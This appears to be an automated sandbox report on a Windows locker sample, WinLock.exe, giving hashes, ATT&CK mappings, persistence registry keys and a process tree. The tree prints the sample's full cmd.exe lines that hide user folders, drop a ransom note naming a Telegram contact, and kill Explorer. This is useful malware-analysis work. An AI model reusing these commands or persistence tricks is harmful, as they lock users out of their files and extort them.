d84a58ecdd47369145ab33f644f845cda22bc00203c31af779b0d627b5c5b0ed

Analysis

max time kernel
150s
max time network
134s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/10/2026, 15:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
WinLock.exe
Size 224KB
Sample261001-sys2eayvat
SHA256 d84a58ecdd47369145ab33f644f845cda22bc00203c31af779b0d627b5c5b0ed
MD5 89b9ff26d8ab023414bb9ef2236d2cf7
SHA1 925817f330ec5d3030fe2d0507446f08dd447627
SHA512 e751957dff6687209357024b802f5209458edf10823daaa84002f3d545972cbe32c1953bbd9185275a8c8fafb5c073b846b8e7bdada32c0e1b2156b057e7848e
SSDEEP 6144:eP8A/ehUOqxaPBUONXyO+agWeyU2PbDddBSCpMW90KImQiXnhbIew:eEAwUOqxaPGYi5agWecvj
TLSH
T1B524395813ABC93DDA3D237ED0A112050BF56227C103E35D9EE5E4F85E2B712AB12B97
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

defense_evasion discovery persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\" -startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\""	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	WinLock.exe

Drops desktop.ini file(s) 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe

Enumerates connected drives 3 TTPs 3 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	cmd.exe
\??\F:\	attrib.exe
\??\F:\	attrib.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
120	cmd.exe
204	cmd.exe
4908	cmd.exe
244	cmd.exe
124	cmd.exe
6084	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WinLock.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WinLock.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
4528	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3804	WinLock.exe
3804	WinLock.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3804	WinLock.exe
Token: SeDebugPrivilege	4528	taskkill.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 3804 wrote to memory of 204	3804	WinLock.exe	95
PID 3804 wrote to memory of 120	3804	WinLock.exe	96
PID 3804 wrote to memory of 6084	3804	WinLock.exe	97
PID 3804 wrote to memory of 124	3804	WinLock.exe	98
PID 3804 wrote to memory of 244	3804	WinLock.exe	99
PID 3804 wrote to memory of 4908	3804	WinLock.exe	100
PID 3804 wrote to memory of 4528	3804	WinLock.exe	101
PID 6084 wrote to memory of 1484	6084	cmd.exe	117
PID 6084 wrote to memory of 2548	6084	cmd.exe	118
PID 204 wrote to memory of 3356	204	cmd.exe	120
PID 4908 wrote to memory of 1716	4908	cmd.exe	121
PID 124 wrote to memory of 6108	124	cmd.exe	122
PID 244 wrote to memory of 1156	244	cmd.exe	123
PID 4908 wrote to memory of 2608	4908	cmd.exe	124
PID 120 wrote to memory of 5108	120	cmd.exe	125
PID 244 wrote to memory of 2344	244	cmd.exe	126
PID 120 wrote to memory of 5792	120	cmd.exe	127
PID 124 wrote to memory of 1652	124	cmd.exe	128
PID 204 wrote to memory of 616	204	cmd.exe	129

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5108	attrib.exe
5792	attrib.exe
1652	attrib.exe
2344	attrib.exe
1484	attrib.exe
1716	attrib.exe
6108	attrib.exe
2608	attrib.exe
616	attrib.exe
2548	attrib.exe
3356	attrib.exe
1156	attrib.exe

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3804
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @tgburner_56362 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Enumerates connected drives
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:204
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Enumerates connected drives
    - Views/modifies file attributes
    PID:3356
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Enumerates connected drives
    - Views/modifies file attributes
    PID:616
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @tgburner_56362 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:120
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5108
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5792
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @tgburner_56362 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:6084
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:1484
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2548
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @tgburner_56362 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:124
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:6108
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1652
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @tgburner_56362 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:244
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:1156
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2344
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @tgburner_56362 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4908
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:1716
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2608
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4528

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
PID:1440

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" -startup
1⤵
PID:4624

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

info-Locker.txt

Path C:\Users\Admin\Documents\info-Locker.txt
Size 82B
SHA256 cc3a1f224d3ff0e8c13b2a4ae8b00742254d9f3c88f5b2021a273bfc96b8e5fa
MD5 12d34bc833146e7521f407dad7a2a8de
SHA1 ab8048c46cee49af4c68a306904e07c4d0cca31c
SHA512 f072617a123de2fc85eb0df92437c686c88676266600e8652a956095c4d9f982c403828ab4f5611e93608e0c1700d53444e8ed530f70875fddd73c5759fb3058
TLSH
T1EFA012112D183288111111F235316001287DE81C10132542414081960020080D8EB510
MD5 SHA1 SHA512 TLSH

Submit Download

info-Locker.txt

Path C:\Users\Admin\info-Locker.txt
Size 82B
SHA256 3c942a23d149e52ffacc56fef2ab75c8c297bd9bfdb0d3dcac1377944f7228a9
MD5 081cee4faaf6d51c9d3e25df2a990655
SHA1 3720828399133bcc6860c05902aaa450428f553a
SHA512 c84db14c8b05628ee9f934435aa3b8422b8c786f30d3881b8ffece11b004800d84ffb951e287ff7fbf40a947b284204ba43098a4e3907e867933f1cf9e2d9e66
TLSH
T1EBA012152D183288101111F235316001647DE81C10132542414081960010180D8EB510
MD5 SHA1 SHA512 TLSH

Submit Download

info-Locker.txt

Path C:\Users\Public\Desktop\info-Locker.txt
Size 82B
SHA256 e71cf1333f880daec6c3035fedadb9f76984bc3ed9090aadbb53aaebe45a1a4c
MD5 0eceea477f6075e5126b7dda062f1a5c
SHA1 3438d59f00d9416be22121255097be5f0949cac9
SHA512 ec3226cef093356f51fe79c574f41280c2b2abb16987fb9ac305a8b22ea51a10197fb3061d01a1bd4d03c0aae01e6f953e39bd98faf6a2a6b0e7f9f27af8cba6
TLSH
T127A012512D183259201111F23531A001247DD85C10132843410080971070080D8EB520
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1440-10-0x00007FFDA7DC0000-0x00007FFDA8764000-memory.dmp

Download

memory/1440-9-0x00007FFDA7DC0000-0x00007FFDA8764000-memory.dmp

Download

memory/1440-11-0x00007FFDA7DC0000-0x00007FFDA8764000-memory.dmp

Download

memory/1440-8-0x00007FFDA7DC0000-0x00007FFDA8764000-memory.dmp

Download

memory/3804-15-0x00007FFDA7DC0000-0x00007FFDA8764000-memory.dmp

Download

memory/3804-7-0x00007FFDA7DC0000-0x00007FFDA8764000-memory.dmp

Download

memory/3804-6-0x00007FFDA7DC0000-0x00007FFDA8764000-memory.dmp

Download

memory/3804-0-0x00007FFDA7F4F000-0x00007FFDA7F50000-memory.dmp

Download

memory/3804-5-0x00007FFDA7DC0000-0x00007FFDA8764000-memory.dmp

Download

memory/3804-4-0x00007FFDA7DC0000-0x00007FFDA8764000-memory.dmp

Download

memory/3804-3-0x00007FFDA7DC0000-0x00007FFDA8764000-memory.dmp

Download

memory/3804-2-0x00007FFDA7DC0000-0x00007FFDA8764000-memory.dmp

Download

memory/3804-1-0x0000000000FB0000-0x0000000000FEE000-memory.dmp

Download

memory/3804-28-0x00007FFDA7DC0000-0x00007FFDA8764000-memory.dmp

Download

memory/3804-29-0x00007FFDA7DC0000-0x00007FFDA8764000-memory.dmp

Download

memory/3804-30-0x00007FFDA7DC0000-0x00007FFDA8764000-memory.dmp

Download

memory/3804-31-0x00007FFDA7DC0000-0x00007FFDA8764000-memory.dmp

Download